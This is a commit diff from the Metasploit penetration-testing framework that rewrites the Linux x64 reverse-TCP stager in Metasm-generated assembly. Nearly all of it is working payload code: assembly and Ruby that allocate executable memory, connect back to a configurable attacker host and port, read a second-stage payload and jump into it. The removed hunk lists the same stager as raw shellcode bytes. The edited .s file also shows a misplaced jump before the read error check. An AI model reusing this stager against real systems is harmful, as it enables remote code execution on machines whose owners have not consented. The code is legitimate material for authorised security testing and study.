Skip to content

Commit 59086af

Browse files
author
Brent Cook
committed
Land rapid7#8771, rewrite linux x64 stagers with Metasm
2 parents 0ab6dd4 + 2ec0644 commit 59086af

File tree

3 files changed

+195
-99
lines changed

3 files changed

+195
-99
lines changed

external/source/shellcode/linux/x64/stager_sock_reverse.s

Lines changed: 38 additions & 31 deletions
Original file line numberDiff line numberDiff line change
@@ -25,51 +25,58 @@
2525
.text
2626
.globl _start
2727
_start:
28-
xor %rdi,%rdi
29-
pushq $0x9
28+
xor %rdi, %rdi
29+
push $0x9
3030
pop %rax
31-
cltd
32-
mov $0x10,%dh
33-
mov %rdx,%rsi
34-
xor %r9,%r9
35-
pushq $0x22
31+
cdq
32+
mov $0x10, %dh
33+
mov %rdx, %rsi
34+
xor %r9, %r9
35+
push $0x22
3636
pop %r10
37-
mov $0x7,%dl
38-
syscall
39-
test %rax, %rax
40-
js failed
41-
# mmap(NULL, 4096, PROT_READ|PROT_WRITE|PROT_EXEC|0x1000, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0)
37+
mov $0x7, %dl
38+
syscall # mmap(NULL, 4096, PROT_READ|PROT_WRITE|PROT_EXEC|0x1000, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0)
39+
test %rax, %rax
40+
js failed
41+
4242
push %rsi
4343
push %rax
44-
pushq $0x29
44+
push $0x29
4545
pop %rax
46-
cltd
47-
pushq $0x2
46+
cdq
47+
push $0x2
4848
pop %rdi
49-
pushq $0x1
49+
push $0x1
5050
pop %rsi
51-
syscall
52-
# socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
53-
test %rax, %rax
54-
js failed
55-
xchg %rax,%rdi
56-
movabs $0x100007fb3150002,%rcx
51+
syscall # socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
52+
test %rax, %rax
53+
js failed
54+
55+
xchg %rax, %rdi
56+
movabs $0x100007fb3150002, %rcx
5757
push %rcx
58-
mov %rsp,%rsi
59-
pushq $0x10
58+
mov %rsp, %rsi
59+
push $0x10
6060
pop %rdx
61-
pushq $0x2a
61+
push $0x2a
6262
pop %rax
63-
syscall
64-
# connect(3, {sa_family=AF_INET, LPORT, LHOST, 16)
63+
syscall # connect(3, {sa_family=AF_INET, LPORT, LHOST, 16)
6564
test %rax, %rax
6665
js failed
66+
6767
pop %rcx
68+
pop %rsi
69+
pop %rdx
70+
syscall # read(3, "", 4096)
71+
jmpq *%rsi
72+
test %rax, %rax
73+
js failed
74+
75+
jmpq *%rsi # to stage
6876

6977
failed:
70-
pushq $0x3c
78+
push $0x3c
7179
pop %rax
72-
pushq $0x1
80+
push $0x1
7381
pop %rdi
74-
syscall
75-
# exit(1)
82+
syscall # exit(1)
Lines changed: 153 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,153 @@
1+
# -*- coding: binary -*-
2+
3+
require 'msf/core'
4+
require 'msf/core/payload/transport_config'
5+
require 'msf/core/payload/linux'
6+
7+
module Msf
8+
9+
10+
###
11+
#
12+
# Complex reverse TCP payload generation for Linux ARCH_X64
13+
#
14+
###
15+
16+
17+
module Payload::Linux::ReverseTcp
18+
19+
include Msf::Payload::TransportConfig
20+
include Msf::Payload::Linux
21+
22+
#
23+
# Generate the first stage
24+
#
25+
def generate
26+
conf = {
27+
port: datastore['LPORT'],
28+
host: datastore['LHOST'],
29+
retry_count: datastore['ReverseConnectRetries'],
30+
reliable: false
31+
}
32+
33+
# Generate the advanced stager if we have space
34+
if self.available_space && required_space <= self.available_space
35+
conf[:exitfunk] = datastore['EXITFUNC']
36+
conf[:reliable] = true
37+
end
38+
39+
generate_reverse_tcp(conf)
40+
end
41+
42+
#
43+
# By default, we don't want to send the UUID, but we'll send
44+
# for certain payloads if requested.
45+
#
46+
def include_send_uuid
47+
false
48+
end
49+
50+
def transport_config(opts={})
51+
transport_config_reverse_tcp(opts)
52+
end
53+
54+
#
55+
# Generate and compile the stager
56+
#
57+
def generate_reverse_tcp(opts={})
58+
asm = asm_reverse_tcp(opts)
59+
buf = Metasm::Shellcode.assemble(Metasm::X64.new, asm).encode_string
60+
apply_prepends(buf)
61+
end
62+
63+
#
64+
# Determine the maximum amount of space required for the features requested
65+
#
66+
def required_space
67+
# Start with our cached default generated size
68+
space = 300
69+
70+
# Reliability adds 10 bytes for recv error checks
71+
space += 10
72+
73+
# The final estimated size
74+
space
75+
end
76+
77+
#
78+
# Generate an assembly stub with the configured feature set and options.
79+
#
80+
# @option opts [Integer] :port The port to connect to
81+
# @option opts [String] :host The host IP to connect to
82+
# @option opts [Bool] :reliable Whether or not to enable error handling code
83+
#
84+
def asm_reverse_tcp(opts={})
85+
# TODO: reliability is coming
86+
retry_count = [opts[:retry_count].to_i, 1].max
87+
reliable = opts[:reliable]
88+
encoded_port = "%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first
89+
encoded_host = "%.8x" % Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first
90+
91+
asm = %Q^
92+
xor rdi, rdi
93+
push 0x9
94+
pop rax
95+
cdq
96+
mov dh, 0x10
97+
mov rsi, rdx
98+
xor r9, r9
99+
push 0x22
100+
pop r10
101+
mov dl, 0x7
102+
syscall ; mmap(NULL, 4096, PROT_READ|PROT_WRITE|PROT_EXEC|0x1000, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0)
103+
test rax, rax
104+
js failed
105+
106+
push rsi
107+
push rax
108+
push 0x29
109+
pop rax
110+
cdq
111+
push 0x2
112+
pop rdi
113+
push 0x1
114+
pop rsi
115+
syscall ; socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
116+
test rax, rax
117+
js failed
118+
119+
xchg rdi, rax
120+
mov rcx, 0x#{encoded_host}#{encoded_port}
121+
push rcx
122+
mov rsi, rsp
123+
push 0x10
124+
pop rdx
125+
push 0x2a
126+
pop rax
127+
syscall ; connect(3, {sa_family=AF_INET, LPORT, LHOST, 16)
128+
test rax, rax
129+
js failed
130+
131+
pop rcx
132+
pop rsi
133+
pop rdx
134+
syscall ; read(3, "", 4096)
135+
test rax, rax
136+
js failed
137+
138+
jmp rsi ; to stage
139+
140+
failed:
141+
push 0x3c
142+
pop rax
143+
push 0x1
144+
pop rdi
145+
syscall ; exit(1)
146+
^
147+
148+
asm
149+
end
150+
151+
end
152+
153+
end

modules/payloads/stagers/linux/x64/reverse_tcp.rb

Lines changed: 4 additions & 68 deletions
Original file line numberDiff line numberDiff line change
@@ -4,13 +4,14 @@
44
##
55

66
require 'msf/core/handler/reverse_tcp'
7+
require 'msf/core/payload/linux/x64/reverse_tcp'
78

89
module MetasploitModule
910

1011
CachedSize = 96
1112

1213
include Msf::Payload::Stager
13-
include Msf::Payload::Linux
14+
include Msf::Payload::Linux::ReverseTcp
1415

1516
def initialize(info = {})
1617
super(merge_info(info,
@@ -21,72 +22,7 @@ def initialize(info = {})
2122
'Platform' => 'linux',
2223
'Arch' => ARCH_X64,
2324
'Handler' => Msf::Handler::ReverseTcp,
24-
'Stager' =>
25-
{
26-
'Offsets' =>
27-
{
28-
'LHOST' => [ 55, 'ADDR' ],
29-
'LPORT' => [ 53, 'n' ],
30-
},
31-
'Payload' =>
32-
# Generated from external/source/shellcode/linux/x64/stager_sock_reverse.s
33-
"\x48\x31\xff" + # xor %rdi,%rdi
34-
"\x6a\x09" + # pushq $0x9
35-
"\x58" + # pop %rax
36-
"\x99" + # cltd
37-
"\xb6\x10" + # mov $0x10,%dh
38-
"\x48\x89\xd6" + # mov %rdx,%rsi
39-
"\x4d\x31\xc9" + # xor %r9,%r9
40-
"\x6a\x22" + # pushq $0x22
41-
"\x41\x5a" + # pop %r10
42-
"\xb2\x07" + # mov $0x7,%dl
43-
"\x0f\x05" + # syscall
44-
# mmap(NULL, 4096, PROT_READ|PROT_WRITE|PROT_EXEC|0x1000, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0)
45-
"\x48\x85\xc0" + # test %rax,%rax
46-
"\x78\x3c" + # js 40012c <failed>
47-
"\x56" + # push %rsi
48-
"\x50" + # push %rax
49-
"\x6a\x29" + # pushq $0x29
50-
"\x58" + # pop %rax
51-
"\x99" + # cltd
52-
"\x6a\x02" + # pushq $0x2
53-
"\x5f" + # pop %rdi
54-
"\x6a\x01" + # pushq $0x1
55-
"\x5e" + # pop %rsi
56-
"\x0f\x05" + # syscall
57-
# socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
58-
"\x48\x85\xc0" + # test %rax,%rax
59-
"\x78\x29" + # js 40012c <failed>
60-
"\x48\x97" + # xchg %rax,%rdi
61-
"\x48\xb9\x02\x00" + # movabs $0x100007fb3150002,%rcx
62-
"\x15\xb3" + # LPORT
63-
"\x7f\x00\x00\x01" + # LHOST
64-
"\x51" + # push %rcx
65-
"\x48\x89\xe6" + # mov %rsp,%rsi
66-
"\x6a\x10" + # pushq $0x10
67-
"\x5a" + # pop %rdx
68-
"\x6a\x2a" + # pushq $0x2a
69-
"\x58" + # pop %rax
70-
"\x0f\x05" + # syscall
71-
# connect(3, {sa_family=AF_INET, LPORT, LHOST, 16)
72-
"\x48\x85\xc0" + # test %rax,%rax
73-
"\x78\x0c" + # js 40012c <failed>
74-
"\x59" + # pop %rcx
75-
"\x5e" + # pop %rsi
76-
"\x5a" + # pop %rdx
77-
"\x0f\x05" + # syscall
78-
# read(3, "", 4096)
79-
"\x48\x85\xc0" + # test %rax,%rax
80-
"\x78\x02" + # js 40012c <failed>
81-
"\xff\xe6" + # jmpq *%rsi
82-
# 40012c <failed>:
83-
"\x6a\x3c" + # pushq $0x3c
84-
"\x58" + # pop %rax
85-
"\x6a\x01" + # pushq $0x1
86-
"\x5f" + # pop %rdi
87-
"\x0f\x05" #syscall
88-
# exit(1)
89-
}
90-
))
25+
'Stager' => { 'Payload' => '' }))
9126
end
27+
9228
end

0 commit comments

Comments
 (0)